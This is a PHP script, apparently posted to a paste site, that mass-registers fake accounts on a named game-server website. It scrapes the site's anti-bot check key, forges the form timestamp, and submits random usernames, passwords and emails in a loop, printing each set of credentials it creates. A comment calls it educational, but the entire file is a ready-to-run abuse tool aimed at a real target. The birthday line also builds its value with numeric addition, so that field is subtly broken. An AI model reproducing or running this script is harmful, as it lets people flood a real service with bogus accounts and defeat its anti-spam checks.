SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | // signialons que ce code est a des fin éducative sans but d'utilisation uniquement pour sencibilisée les gens au spam et comprendre que un captcha bha c'est utile. | |
3 | set_time_limit(0); | |
4 | ||
5 | function GenerateName($len){ | |
6 | $curlaracters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; | |
7 | $curlaractersLength = strlen($curlaracters); | |
8 | $randomString = ''; | |
9 | $i = 0; | |
10 | for (; $i < $len ; $i++) { | |
11 | $randomString .= $curlaracters[rand(0, $curlaractersLength - 1)]; | |
12 | } | |
13 | return $randomString; | |
14 | } | |
15 | ||
16 | if(isset($_POST['number'])) | |
17 | { | |
18 | $i = 1; | |
19 | while ($i <= $_POST['number']) | |
20 | { | |
21 | ||
22 | $wikipediaURL = 'http://destiny-flyff.tk/index.php?site=regist'; | |
23 | ||
24 | $curl = curl_init(); | |
25 | curl_setopt($curl, CURLOPT_URL, $wikipediaURL); | |
26 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); | |
27 | $resultat = curl_exec($curl); | |
28 | curl_close($curl); | |
29 | ||
30 | ||
31 | $dom = new DOMDocument(); | |
32 | @$dom->loadHTML($resultat); | |
33 | ||
34 | foreach($dom->getElementsByTagName('input') as $input) { | |
35 | ||
36 | if($input->getAttribute('name') == "inputCheckKey") | |
37 | $securkey = $input->getAttribute('value'); | |
38 | ||
39 | } | |
40 | ||
41 | //http://destiny-flyff.tk/index.php?site=regist | |
42 | $user = GenerateName(rand(6,10)); | |
43 | $pass = GenerateName(rand(6,10)); | |
44 | $birth = 1990 + rand(4,10); | |
45 | $birth = rand(10,20) + "/" + rand(10,12) + "/" + $birth; | |
46 | // changer la fin de l'email si besoin j'ai la fleme | |
47 | $email = GenerateName(rand(6,10)) ."@hotmail.fr"; | |
48 | date_default_timezone_set('Europe/Paris'); | |
49 | $date = date_create('now -1 minutes' , new DateTimeZone('Europe/Paris')); | |
50 | $date = date_format($date, 'U'); | |
51 | $data = array("registAccountID" => $user, "registPassword" => $pass , "registPasswordRepeat" => $pass , "registMail" => $email , "registMailRepeat" => $email , "registBirthday" => $birth,"registSecretQuestion" => rand(1,6) , "registSecretAnswer" => $user, "inputCheckTimestamp" => $date , "inputCheckKey" => $securkey , "registSubmit" => "Registration completed. ", "registCheckbox" => "true"); | |
52 | $data_string = http_build_query($data); | |
53 | ||
54 | $curl = curl_init('http://destiny-flyff.tk/index.php?site=regist'); | |
55 | curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "POST"); | |
56 | curl_setopt($curl, CURLOPT_POST, true); | |
57 | curl_setopt($curl, CURLOPT_POSTFIELDS, $data_string); | |
58 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); | |
59 | curl_setopt($curl, CURLOPT_HTTPHEADER, array( | |
60 | 'Content-Type: application/x-www-form-urlencoded;', | |
61 | 'Referer: http://destiny-flyff.tk/index.php?site=regist', | |
62 | 'X-Request-With: XMLHttpRequest', | |
63 | 'Content-Length: ' . strlen($data_string)) | |
64 | ); | |
65 | ||
66 | $result = curl_exec($curl); | |
67 | ||
68 | // décommenter si souci c'est pour voir le retour site . | |
69 | //echo $result; | |
70 | echo "<br>Compte numero ".$i." - User : ".$user." - Password: ".$pass." - EMAIL: ".$email."<br><br>"; | |
71 | flush(); | |
72 | ob_flush(); | |
73 | $i++; | |
74 | } | |
75 | } | |
76 | else | |
77 | { | |
78 | echo '<form action="orazio.php" method="post"> | |
79 | <p>Nombre de compte : <input type="text" name="number" /></p> | |
80 | <p><input type="submit" value="OK"></p> | |
81 | </form>'; | |
82 | } | |
83 | ?> |